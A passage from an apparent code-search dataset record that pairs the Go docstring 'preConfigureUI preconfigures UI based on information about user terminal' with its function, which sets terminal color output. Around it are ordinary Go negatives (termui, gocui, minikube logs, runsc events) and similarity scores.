see if we need to run an output condition for this\n\tconditions := make([]*state.OutputCondition, 0)\n\tfor _, outputCondition := range container.StateConditions.Outputs {\n\t\tif outputCondition.Source == source {\n\t\t\tlogger.Printf(\"Monitoring %s for %+v\\n\", outputCondition.Source, outputCondition.Regex)\n\t\t\tconditions = append(conditions, &outputCondition)\n\t\t}\n\t}\n\n\t// first print our output\n\tfor {\n\t\t// check if we still need to handle state conditions\n\t\tselect {\n\t\tcase <-stop:\n\t\t\tconditions = make([]*state.OutputCondition, 0)\n\t\tdefault:\n\t\t\tmoreContent := scanner.Scan()\n\t\t\t// if we hit an error or eof we are done\n\t\t\tif !moreContent {\n\t\t\t\tlogger.Println(scanner.Err())\n\t\t\t\treturn\n\t\t\t}\n\t\t\tlogger.Printf(\"%s\", appMessage(scanner.Text()))\n\t\t\t// if we need to handle the content\n\t\t\tfor _, condition := range conditions {\n\t\t\t\tcondition.Handle(scanner.Text(), results, stop, logger)\n\t\t\t}\n\t\t}\n\t}\n}", "func OutputMapOfObjectsE(t testing.TestingT, options *Options, key string) (map[string]interface{}, error) {\n\tout, err := OutputJsonE(t, options, key)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar output map[string]interface{}\n\n\tif err := json.Unmarshal([]byte(out), &output); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn parseMap(output)\n}", "func GetOutputs(name string, project string) (map[string]string, error) {\n\tdata, err := runGCloud(\"deployment-manager\", \"manifests\", \"describe\", \"--deployment\", name, \"--project\", project)\n\tif err != nil {\n\t\tlog.Printf(\"Failed to get deployment manifest: %v\", err)\n\t\treturn nil, err\n\t}\n\treturn parseOutputs(data)\n}", "func (v *vncKBPlayback) writeEvents() {\n\tdefer v.Conn.Close()\n\n\tfor e := range v.out {\n\t\tif err := e.Write(v.Conn); err != nil {\n\t\t\tlog.Error(\"unable to write vnc event: %v\", err)\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// stop ourselves in a separate goroutine to avoid a deadlock\n\tgo v.Stop()\n\n\tfor range v.out {\n\t\t// drain the channel\n\t}\n}", "func (o NodeDriverOutput) Labels() pulumi.MapOutput {\n\treturn o.ApplyT(func(v *NodeDriver) pulumi.MapOutput { return v.Labels }).(pulumi.MapOutput)\n}", "func (r *Runsc) Events(context context.Context, id string, interval time.Duration) (chan *runc.Event, error) {\n\tcmd := r.command(context, \"events\", fmt.Sprintf(\"--interval=%ds\", int(interval.Seconds())), id)\n\trd, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tec, err := Monitor.Start(cmd)\n\tif err != nil {\n\t\trd.Close()\n\t\treturn nil, err\n\t}\n\tvar (\n\t\tdec = json.NewDecoder(rd)\n\t\tc = make(chan *runc.Event, 128)\n\t)\n\tgo func() {\n\t\tdefer func() {\n\t\t\tclose(c)\n\t\t\trd.Close()\n\t\t\tMonitor.Wait(cmd, ec)\n\t\t}()\n\t\tfor {\n\t\t\tvar e runc.Event\n\t\t\tif err := dec.Decode(&e); err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\te = runc.Event{\n\t\t\t\t\tType: \"error\",\n\t\t\t\t\tErr: err,\n\t\t\t\t}\n\t\t\t}\n\t\t\tc <- &e\n\t\t}\n\t}()\n\treturn c, nil\n}", "func (c *Credits) ProcessEvents() {\n\tif inpututil.IsKeyJustPressed(ebiten.KeyEscape) {\n\t\tc.nextStateID = \"menu\"\n\t\tc.state = exit\n\t}\n}", "func AllEvents() []Event {\n\treturn []Event{Accepted, Delivered, Failed, Opened, Clicked, Unsubscribed, Complained, Stored}\n}", "func Output(r cruntime.Manager, bs bootstrapper.Bootstrapper, cfg config.ClusterConfig, runner command.Runner, lines int, logOutput *os.File) error {\n\tcmds := logCommands(r, bs, cfg, lines, false)\n\tcmds[\"kernel\"] = \"uptime && uname -a && grep PRETTY /etc/os-release\"\n\n\tnames := []string{}\n\tfor k := range cmds {\n\t\tnames = append(names, k)\n\t}\n\n\tout.SetOutFile(logOutput)\n\tdefer out.SetOutFile(os.Stdout)\n\tout.SetErrFile(logOutput)\n\tdefer out.SetErrFile(os.Stderr)\n\n\tsort.Strings(names)\n\tfailed := []string{}\n\tfor i, name := range names {\n\t\tif i > 0 {\n\t\t\tout.Styled(style.Empty, \"\")\n\t\t}\n\t\tout.Styled(style.Empty, \"==> {{.name}} <==\", out.V{\"name\": name})\n\t\tvar b bytes.Buffer\n\t\tc := exec.Command(\"/bin/bash\", \"-c\", cmds[name])\n\t\tc.Stdout = &b\n\t\tc.Stderr = &b\n\t\tif rr, err := runner.RunCmd(c); err != nil {\n\t\t\tklog.Errorf(\"command %s failed with error: %v output: %q\", rr.Command(), err, rr.Output())\n\t\t\tfailed = append(failed, name)\n\t\t\tcontinue\n\t\t}\n\t\tl := \"\"\n\t\tscanner := bufio.NewScanner(&b)\n\t\tfor scanner.Scan() {\n\t\t\tl += scanner.Text() + \"\\n\"\n\t\t}\n\t\tif err := scanner.Err(); err != nil {\n\t\t\tklog.Errorf(\"failed to read output: %v\", err)\n\t\t\tfailed = append(failed, name)\n\t\t}\n\t\tout.Styled(style.Empty, l)\n\t}\n\n\tif len(failed) > 0 {\n\t\treturn fmt.Errorf(\"unable to fetch logs for: %s\", strings.Join(failed, \", \"))\n\t}\n\treturn nil\n}" ]
[ "0.6442742", "0.5828244", "0.5757043", "0.5582252", "0.5567077", "0.5526591", "0.54130644", "0.5261317", "0.5246309", "0.5207136", "0.51714545", "0.5166471", "0.5164374", "0.5153409", "0.51349187", "0.5131234", "0.5125875", "0.512276", "0.5085051", "0.50706756", "0.49821892", "0.49821332", "0.4939815", "0.4938576", "0.49089378", "0.49052486", "0.48926982", "0.4888493", "0.48740873", "0.48511434", "0.48353592", "0.4826296", "0.48097432", "0.48077726", "0.47911373", "0.47871083", "0.47864965", "0.47823307", "0.47664374", "0.47501436", "0.47402826", "0.47394317", "0.47279996", "0.4722592", "0.47220957", "0.47171938", "0.47004735", "0.4696626", "0.46915346", "0.46851668", "0.46760505", "0.46730798", "0.46698657", "0.46683055", "0.46538392", "0.4650107", "0.46484846", "0.46420878", "0.46331683", "0.46269935", "0.46250227", "0.4611156", "0.46108496", "0.46045846", "0.46045357", "0.45900762", "0.4583663", "0.45833242", "0.45720586", "0.45703006", "0.45664093", "0.4561617", "0.45530403", "0.45463827", "0.45173982", "0.4510754", "0.4510399", "0.44984674", "0.44936413", "0.44841948", "0.44771507", "0.4476227", "0.44728583", "0.4464394", "0.4451782", "0.44439533", "0.4443221", "0.44424552", "0.44386795", "0.4436946", "0.44332445", "0.4432365", "0.4431745", "0.44313467", "0.4431292", "0.44306082", "0.44303194", "0.4427248", "0.44264743", "0.4423881" ]
0.76933664
0
preConfigureUI preconfigures UI based on information about user terminal
func preConfigureUI() { term := os.Getenv("TERM") fmtc.DisableColors = true if term != "" { switch { case strings.Contains(term, "xterm"), strings.Contains(term, "color"), term == "screen": fmtc.DisableColors = false } } if !fsutil.IsCharacterDevice("/dev/stdout") && os.Getenv("FAKETTY") == "" { fmtc.DisableColors = true } if os.Getenv("NO_COLOR") != "" { fmtc.DisableColors = true } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func configureUI() {\n\tterminal.Prompt = \"› \"\n\tterminal.TitleColorTag = \"{s}\"\n\n\tif options.GetB(OPT_NO_COLOR) {\n\t\tfmtc.DisableColors = true\n\t}\n\n\tswitch {\n\tcase fmtc.IsTrueColorSupported():\n\t\tcolorTagApp, colorTagVer = \"{#CC1E2C}\", \"{#CC1E2C}\"\n\tcase fmtc.Is256ColorsSupported():\n\t\tcolorTagApp, colorTagVer = \"{#160}\", \"{#160}\"\n\tdefault:\n\t\tcolorTagApp, colorTagVer = \"{r}\", \"{r}\"\n\t}\n}", "func RunUI(cfg Config, inStatusCh chan inputStats, outputStatusChannel chan outputStats, cfgSource string) {\n\t// Let the goroutines initialize before starting GUI\n\ttime.Sleep(50 * time.Millisecond)\n\tif err := ui.Init(); err != nil {\n\t\tlog.Fatalf(\"failed to initialize termui: %v\", err)\n\t}\n\tdefer ui.Close()\n\n\ty := 0\n\theight := 5\n\twidth := 120\n\thalfWidth := width / 2\n\n\tp := widgets.NewParagraph()\n\tp.Title = applicationName()\n\tp.Text = fmt.Sprintf(\"PRESS q TO QUIT.\\nConfig from: %s\\n\", cfgSource)\n\n\tp.SetRect(0, y, width, height)\n\tp.TextStyle.Fg = ui.ColorWhite\n\tp.BorderStyle.Fg = ui.ColorCyan\n\n\ty += height\n\theight = 10\n\tinSrcHeight := height\n\tif cfg.RetransmitEnabled() {\n\t\tinSrcHeight = height * 2\n\n\t}\n\n\tinpSrcStatus := widgets.NewParagraph()\n\tinpSrcStatus.Title = \"GPS/GPS Compass in\"\n\tif cfg.InputEnabled() {\n\t\tinpSrcStatus.Text = \"Waiting for data\"\n\t} else {\n\t\tinpSrcStatus.Text = \"Input not enabled\"\n\t}\n\n\tinpSrcStatus.SetRect(0, y, halfWidth, y+inSrcHeight)\n\tinpSrcStatus.TextStyle.Fg = ui.ColorGreen\n\tinpSrcStatus.BorderStyle.Fg = ui.ColorCyan\n\n\tinpArrow := widgets.NewParagraph()\n\tinpArrow.Border = false\n\tinpArrow.Text = \"=>\"\n\tinpArrow.SetRect(halfWidth, y, halfWidth+5, y+height)\n\n\tinpDestStatus := widgets.NewParagraph()\n\tinpDestStatus.Title = \"GPS/GPS Compass out to UGPS\"\n\n\tinpDestStatus.SetRect(halfWidth+5, y, width, y+height)\n\tinpDestStatus.TextStyle.Fg = ui.ColorGreen\n\tinpDestStatus.BorderStyle.Fg = ui.ColorCyan\n\n\tinpRetransmitStatus := widgets.NewParagraph()\n\tif cfg.RetransmitEnabled() {\n\t\tinpRetransmitStatus.Title = \"Retransmit Input\"\n\n\t\tinpRetransmitStatus.SetRect(halfWidth+5, y+height, width, y+inSrcHeight)\n\t\tinpRetransmitStatus.TextStyle.Fg = ui.ColorGreen\n\t\tinpRetransmitStatus.BorderStyle.Fg = ui.ColorCyan\n\t}\n\n\t//y += height\n\ty += inSrcHeight\n\theight = 10\n\n\toutSrcStatus := widgets.NewParagraph()\n\toutSrcStatus.Title = \"Locator Position in from UGPS\"\n\toutSrcStatus.Text = \"Waiting for data\"\n\tif !cfg.OutputEnabled() {\n\t\toutSrcStatus.Text = \"Output not enabled\"\n\t}\n\toutSrcStatus.SetRect(0, y, halfWidth, y+height)\n\toutSrcStatus.TextStyle.Fg = ui.ColorGreen\n\toutSrcStatus.BorderStyle.Fg = ui.ColorCyan\n\n\toutArrow := widgets.NewParagraph()\n\toutArrow.Border = false\n\toutArrow.Text = \"=>\"\n\toutArrow.SetRect(halfWidth, y, halfWidth+5, y+height)\n\n\toutDestStatus := widgets.NewParagraph()\n\toutDestStatus.Title = \"Locator Position out to NMEA\"\n\toutDestStatus.Text = \"Waiting for data\"\n\tif !cfg.OutputEnabled() {\n\t\toutDestStatus.Text = \"Output not enabled\"\n\t}\n\toutDestStatus.SetRect(halfWidth+5, y, width, y+height)\n\toutDestStatus.TextStyle.Fg = ui.ColorGreen\n\toutDestStatus.BorderStyle.Fg = ui.ColorCyan\n\n\ty += height\n\theight = 15\n\n\tdbgText := widgets.NewList()\n\tdbgText.Title = \"Debug\"\n\tdbgText.Rows = dbgMsg\n\tdbgText.WrapText = true\n\tdbgText.SetRect(0, y, width, y+height)\n\tdbgText.BorderStyle.Fg = ui.ColorCyan\n\n\thideDebug := widgets.NewParagraph()\n\thideDebug.Text = \"\"\n\thideDebug.SetRect(0, y, width, y+height)\n\thideDebug.Border = false\n\n\tdraw := func() {\n\t\tui.Render(p, inpSrcStatus, inpArrow, inpDestStatus, outSrcStatus, outArrow, outDestStatus, inpRetransmitStatus)\n\t\tif debug {\n\t\t\tdbgText.Rows = dbgMsg\n\t\t\tui.Render(dbgText)\n\t\t} else {\n\t\t\tui.Render(hideDebug)\n\t\t}\n\t}\n\n\t// Initial draw before any events have occurred\n\tdraw()\n\n\tuiEvents := ui.PollEvents()\n\n\tfor {\n\t\tselect {\n\t\tcase inStats := <-inStatusCh:\n\t\t\tinpSrcStatus.TextStyle.Fg = ui.ColorGreen\n\t\t\tinpSrcStatus.Text = fmt.Sprintf(\"Source: %s\\n\\n\", cfg.Input.Device) +\n\t\t\t\t\"Supported NMEA sentences received:\\n\" +\n\t\t\t\tfmt.Sprintf(\" * Topside Position : %s\\n\", inStats.src.posDesc) +\n\t\t\t\tfmt.Sprintf(\" * Topside Heading : %s\\n\", inStats.src.headDesc) +\n\t\t\t\tfmt.Sprintf(\" * Parse error: %d\\n\\n\", inStats.src.unparsableCount) +\n\t\t\t\tinStats.src.errorMsg\n\t\t\tif inStats.src.errorMsg != \"\" {\n\t\t\t\tinpSrcStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t}\n\t\t\tinpDestStatus.TextStyle.Fg = ui.ColorGreen\n\t\t\tinpDestStatus.Text = fmt.Sprintf(\"Destination: %s\\n\\n\", cfg.BaseURL) +\n\t\t\t\tfmt.Sprintf(\"Sent successfully to\\n Underwater GPS: %d\\n\\n\", inStats.dst.sendOk) +\n\t\t\t\tinStats.dst.errorMsg\n\t\t\tif inStats.dst.errorMsg != \"\" {\n\t\t\t\tinpDestStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t}\n\n\t\t\tinpRetransmitStatus.Text = fmt.Sprintf(\"Destination: %s\\n\\n\", cfg.Input.Retransmit) +\n\t\t\t\tfmt.Sprintf(\"Count: %d\\n%s\", inStats.retransmit.count, inStats.retransmit.errorMsg)\n\t\t\tinpRetransmitStatus.TextStyle.Fg = ui.ColorGreen\n\t\t\tif inStats.retransmit.errorMsg != \"\" {\n\t\t\t\tinpRetransmitStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t}\n\t\t\tdraw()\n\t\tcase outStats := <-outputStatusChannel:\n\t\t\toutSrcStatus.Text = fmt.Sprintf(\"Source: %s\\n\\n\", cfg.BaseURL) +\n\t\t\t\tfmt.Sprintf(\"Positions from Underwater GPS:\\n %d\\n\", outStats.src.getCount)\n\t\t\toutSrcStatus.TextStyle.Fg = ui.ColorGreen\n\n\t\t\tif outStats.src.errMsg != \"\" {\n\t\t\t\toutSrcStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t\toutSrcStatus.Text += fmt.Sprintf(\"\\n\\n%v (%d)\", outStats.src.errMsg, outStats.src.getErr)\n\t\t\t}\n\n\t\t\toutDestStatus.Text = fmt.Sprintf(\"Destination: %s\\n\\n\", cfg.Output.Device) +\n\t\t\t\t\"Sent:\\n\" +\n\t\t\t\tfmt.Sprintf(\" * Locator/ROV Position : %s: %d\\n\", strings.ToUpper(cfg.Output.PositionSentence), outStats.dst.sendOk)\n\t\t\toutDestStatus.TextStyle.Fg = ui.ColorGreen\n\n\t\t\tif outStats.dst.errMsg != \"\" {\n\t\t\t\toutDestStatus.TextStyle.Fg = ui.ColorRed\n\t\t\t\toutDestStatus.Text += fmt.Sprintf(\"\\n\\n%s\", outStats.dst.errMsg)\n\t\t\t}\n\t\t\tdraw()\n\t\tcase e := <-uiEvents:\n\t\t\tswitch e.ID {\n\t\t\tcase \"q\", \"<C-c>\":\n\t\t\t\treturn\n\t\t\tcase \"d\":\n\t\t\t\tdbgMsg = nil\n\t\t\t\tdbgText.Rows = dbgMsg\n\t\t\t\tdebug = !debug\n\n\t\t\t\tdraw()\n\t\t\t}\n\t\t}\n\t}\n}", "func configureUI() {\n\tif options.GetB(OPT_NO_COLOR) {\n\t\tfmtc.DisableColors = true\n\t}\n\n\tswitch {\n\tcase fmtc.IsTrueColorSupported():\n\t\tcolorTagApp, colorTagVer = \"{#BCCF00}\", \"{#BCCF00}\"\n\tcase fmtc.Is256ColorsSupported():\n\t\tcolorTagApp, colorTagVer = \"{#148}\", \"{#148}\"\n\tdefault:\n\t\tcolorTagApp, colorTagVer = \"{g}\", \"{g}\"\n\t}\n}", "func InitUI(c *processor.Console) {\n\tconsole = c\n\tframe = image.NewRGBA(image.Rect(0, 0, width, height))\n\n\t// Call ebiten.Run to start your game loop.\n\tif err := ebiten.Run(update, width, height, scale, title); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func CustomizeScreen(w fyne.Window) fyne.CanvasObject {\n\tc := conf.Get()\n\ttb := widget.NewTabContainer()\n\td, _ := ioutil.ReadFile(c.DynamicUIFile)\n\tvar info uiConf\n\terr := json.Unmarshal(d, &info)\n\tif err != nil {\n\t\t// fmt.Println(\"dReadUI:\", err)\n\t\ttb.Append(widget.NewTabItem(\"error\", widget.NewLabel(fmt.Sprint(err))))\n\t\ttb.SelectTabIndex(0)\n\t\treturn tb\n\t}\n\tfor _, it := range info.RunUI {\n\t\tif it.Hide {\n\t\t\tcontinue\n\t\t}\n\t\ttb.Append(widget.NewTabItem(\"R_\"+it.Name, newRunUI(w, it)))\n\t}\n\tfor _, it := range info.ViewUI {\n\t\tif it.Hide {\n\t\t\tcontinue\n\t\t}\n\t\ttb.Append(widget.NewTabItem(\"V_\"+it.Name, newReadUI(w, it)))\n\t}\n\ttb.SelectTabIndex(0)\n\treturn tb\n}", "func main() {\n\tc := getConfig()\n\n\t// Ask version\n\tif c.askVersion {\n\t\tfmt.Println(versionFull())\n\t\tos.Exit(0)\n\t}\n\n\t// Ask Help\n\tif c.askHelp {\n\t\tfmt.Println(versionFull())\n\t\tfmt.Println(HELP)\n\t\tos.Exit(0)\n\t}\n\n\t// Only used to check errors\n\tgetClientSet()\n\n\tg, err := gocui.NewGui(gocui.OutputNormal)\n\tif err != nil {\n\t\tlog.Panicln(err)\n\t}\n\tdefer g.Close()\n\n\tg.Highlight = true\n\tg.SelFgColor = gocui.ColorGreen\n\n\tg.SetManagerFunc(uiLayout)\n\n\tif err := uiKey(g); err != nil {\n\t\tlog.Panicln(err)\n\t}\n\n\tif err := g.MainLoop(); err != nil && err != gocui.ErrQuit {\n\t\tlog.Panicln(err)\n\t}\n}", "func (gn *Gen) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Gen\")\n\tgi.SetAppAbout(`Gen concatenated strings of syllables`)\n\n\twin := gi.NewMainWindow(\"one\", \"Gen ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\t// vi.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMaxWidth()\n\tsplit.SetStretchMaxHeight()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(gn)\n\tgn.StructView = sv\n\n\t// tv := gi.AddNewTabView(split, \"tv\")\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen cat string\", Icon: \"new\", Tooltip: \"Generate a new initial random seed to get different results. By default, Init re-establishes the same initial seed every time.\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.CatNoRepeat(gn.syls1)\n\t\t})\n\n\tvp.UpdateEndNoSig(updt)\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func InitTui(instanceRunning bool) bool {\n\tinitialModel.instanceAlreadyRunning = instanceRunning\n\tinitialModel.updateMenuItemsHomePage()\n\tp := tea.NewProgram(initialModel)\n\tif err := p.Start(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn execBot\n}", "func (gn *Gen) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Gen\")\n\tgi.SetAppAbout(`Gen concatenated strings of syllables`)\n\n\twin := gi.NewMainWindow(\"one\", \"Gen ...\", width, height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\t// vi.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMaxWidth()\n\tsplit.SetStretchMaxHeight()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(gn)\n\tgn.StructView = sv\n\n\t// tv := gi.AddNewTabView(split, \"tv\")\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Reset\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.Reset()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Load Params\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.LoadParams()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Wavs\", Icon: \"new\", Tooltip: \"Generate the .wav files\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenWavs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Split Wavs\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.SplitWavs()\n\t\t})\n\n\tvp.UpdateEndNoSig(updt)\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func ConfigureUI(conn *NotesConnection, config *Config) (*components.Application, error) {\n\tshortcuts := &shortcutConfig{config: config, observable: &ShortcutObservable{Handlers: make(map[uint64]func())}}\n\n\tapp := createApplication(shortcuts, conn)\n\n\tpreviousNotesTable, err := getPopulatedTable(app, conn, shortcuts)\n\n\tif err != nil {\n\t\treturn &components.Application{}, err\n\t}\n\n\tnoteInput := getNoteInput(conn, previousNotesTable, app, shortcuts)\n\n\tparentGrid := components.CreateGrid(components.GridOptions{\n\t\tRows: []int{0, 1},\n\t\tColumns: []int{0},\n\t\tHasBorders: true,\n\t\tHasHeaderRow: true,\n\t}, app)\n\tnoteInput.AddToGrid(parentGrid, 0, 0)\n\tgetNoteGrid(app, previousNotesTable).AddToGrid(parentGrid, 1, 0)\n\tgetGridFooter(app, shortcuts).AddToGrid(parentGrid, 2, 0)\n\n\tparentGrid.SetRoot()\n\tnoteInput.SetFocus()\n\n\treturn app, app.Run()\n}", "func (c *guiClient) torPromptUI() error {\n\tui := VBox{\n\t\twidgetBase: widgetBase{padding: 40, expand: true, fill: true, name: \"vbox\"},\n\t\tchildren: []Widget{\n\t\t\tLabel{\n\t\t\t\twidgetBase: widgetBase{font: \"DejaVu Sans 30\"},\n\t\t\t\ttext: \"Cannot find Tor\",\n\t\t\t},\n\t\t\tLabel{\n\t\t\t\twidgetBase: widgetBase{\n\t\t\t\t\tpadding: 20,\n\t\t\t\t\tfont: \"DejaVu Sans 14\",\n\t\t\t\t},\n\t\t\t\ttext: \"Please start Tor or the Tor Browser Bundle. Looking for a SOCKS proxy on port 9050 or 9150...\",\n\t\t\t\twrap: 600,\n\t\t\t},\n\t\t},\n\t}\n\n\tc.gui.Actions() <- SetBoxContents{name: \"body\", child: ui}\n\tc.gui.Signal()\n\n\tticker := time.NewTicker(1 * time.Second)\n\tdefer ticker.Stop()\n\tfor {\n\t\tselect {\n\t\tcase _, ok := <-c.gui.Events():\n\t\t\tif !ok {\n\t\t\t\tc.ShutdownAndSuspend()\n\t\t\t}\n\t\tcase <-ticker.C:\n\t\t\tif c.detectTor() {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func StartUI(api *API) {\n\terr := termui.Init()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer termui.Close()\n\n\tui := &UI{\n\t\tapi: api,\n\t\tsearchBox: newSearchBox(),\n\t\tinstancesTable: newInstancesTable(),\n\t\thelpBox: newHelpTable(),\n\t\tselectedRow: -1,\n\t}\n\n\tgo func() {\n\t\tfor instances := range api.instancesChan {\n\t\t\ttermui.SendCustomEvt(\"/usr/instances\", instances)\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tfor errors := range api.errChan {\n\t\t\ttermui.SendCustomEvt(\"/usr/errors\", errors)\n\t\t}\n\t}()\n\n\ttermui.Body.AddRows(\n\t\ttermui.NewRow(\n\t\t\ttermui.NewCol(12, 0, ui.searchBox),\n\t\t),\n\t\ttermui.NewRow(\n\t\t\ttermui.NewCol(12, 0, ui.instancesTable),\n\t\t),\n\t\ttermui.NewRow(\n\t\t\ttermui.NewCol(12, 0, ui.helpBox),\n\t\t),\n\t)\n\ttermui.Body.Align()\n\ttermui.Render(termui.Body)\n\n\tui.SetEvents()\n\tui.triggerInstancesUpdate()\n\n\ttermui.Loop()\n}", "func CreateMainWindow() {\n\n\tvBox := tui.NewVBox()\n\tvBox.SetSizePolicy(tui.Minimum, tui.Minimum)\n\tSidebar := tui.NewVBox()\n\tSidebar.SetSizePolicy(tui.Minimum, tui.Minimum)\n\n\tfor _, cmd := range strings.Split(libs.Cmds, \",\") {\n\t\tSidebar.Append(tui.NewLabel(wordwrap.WrapString(cmd, 50)))\n\t}\n\n\tSidebar.SetBorder(true)\n\tSidebar.Prepend(tui.NewLabel(\"***COMMANDS***\"))\n\n\tInput.SetFocused(true)\n\tInput.SetSizePolicy(tui.Expanding, tui.Maximum)\n\n\tinputBox := tui.NewHBox(Input)\n\tinputBox.SetBorder(true)\n\tinputBox.SetSizePolicy(tui.Expanding, tui.Maximum)\n\n\thistoryScroll := tui.NewScrollArea(History)\n\thistoryScroll.SetAutoscrollToBottom(true)\n\thistoryBox := tui.NewVBox(historyScroll)\n\thistoryBox.SetBorder(true)\n\n\tchat := tui.NewVBox(historyBox, inputBox)\n\tchat.SetSizePolicy(tui.Expanding, tui.Expanding)\n\n\t// create root window and add all windows\n\troot := tui.NewHBox(Sidebar, chat)\n\tui, err := tui.New(root)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tui.SetKeybinding(\"Esc\", func() { ui.Quit() })\n\n\tInput.OnSubmit(func(e *tui.Entry) {\n\t\t// this is just to see what command given\n\t\tuserCommand := e.Text()\n\t\tif userCommand == \"\" {\n\t\t\tHistory.Append(tui.NewLabel(\"that is not acceptable command\"))\n\t\t\tHistory.Append(tui.NewLabel(libs.PrintHelp()))\n\t\t} else {\n\t\t\tHistory.Append(tui.NewHBox(\n\t\t\t\ttui.NewLabel(\"Your Command: \" + userCommand),\n\t\t\t))\n\t\t\tHistory.Append(tui.NewHBox(tui.NewLabel(\"\")))\n\n\t\t\tif strings.HasPrefix(userCommand, \"\\\\\") {\n\t\t\t\t// then this is command ..\n\t\t\t\tswitch userCommand {\n\t\t\t\tcase \"\\\\help\":\n\t\t\t\t\tHistory.Append(tui.NewLabel(libs.PrintHelp()))\n\t\t\t\tcase \"\\\\monitor\":\n\t\t\t\t\tHistory.Append(tui.NewLabel(\"Switching to MONITOR mode for device \" + DeviceName))\n\t\t\t\t\tChangeToMonitorMode()\n\t\t\t\tcase \"\\\\managed\":\n\t\t\t\t\tHistory.Append(tui.NewLabel(\"Switching to MANAGED mode for device \" + DeviceName))\n\t\t\t\t\tChangeToManagedMode()\n\t\t\t\tcase \"\\\\exit\":\n\t\t\t\t\tHistory.Append(tui.NewHBox(tui.NewLabel(\"quitting...\")))\n\t\t\t\t\ttime.Sleep(1000 * time.Millisecond)\n\t\t\t\t\t// os.Exit(0)\n\n\t\t\t\t}\n\t\t\t} else if strings.Contains(userCommand, \":\") {\n\t\t\t\t// then this is declaration\n\t\t\t\tcmdSplit := strings.Split(userCommand, \":\")\n\t\t\t\tif cmdSplit[1] == \"\" {\n\t\t\t\t\tHistory.Append(tui.NewLabel(\"that is not acceptable command\"))\n\t\t\t\t\tHistory.Append(tui.NewLabel(libs.PrintHelp()))\n\t\t\t\t} else {\n\t\t\t\t\tswitch cmdSplit[0] {\n\t\t\t\t\tcase \"device\":\n\t\t\t\t\t\tSetDeviceName(cmdSplit[1])\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tHistory.Append(tui.NewLabel(\"there is no such declaration or command\"))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tHistory.Append(tui.NewHBox(tui.NewLabel(userCommand + \" is not command or a declaration\")))\n\t\t\t}\n\t\t}\n\t\tInput.SetText(\"\")\n\t})\n\n\tif err := ui.Run(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func (gn *Gen) ConfigGui() *gi.Window {\n\twidth := 1600\n\theight := 1200\n\n\tgi.SetAppName(\"Gen\")\n\tgi.SetAppAbout(`Gen concatenated strings of syllables`)\n\n\twin := gi.NewMainWindow(\"one\", \"Gen ...\", width, 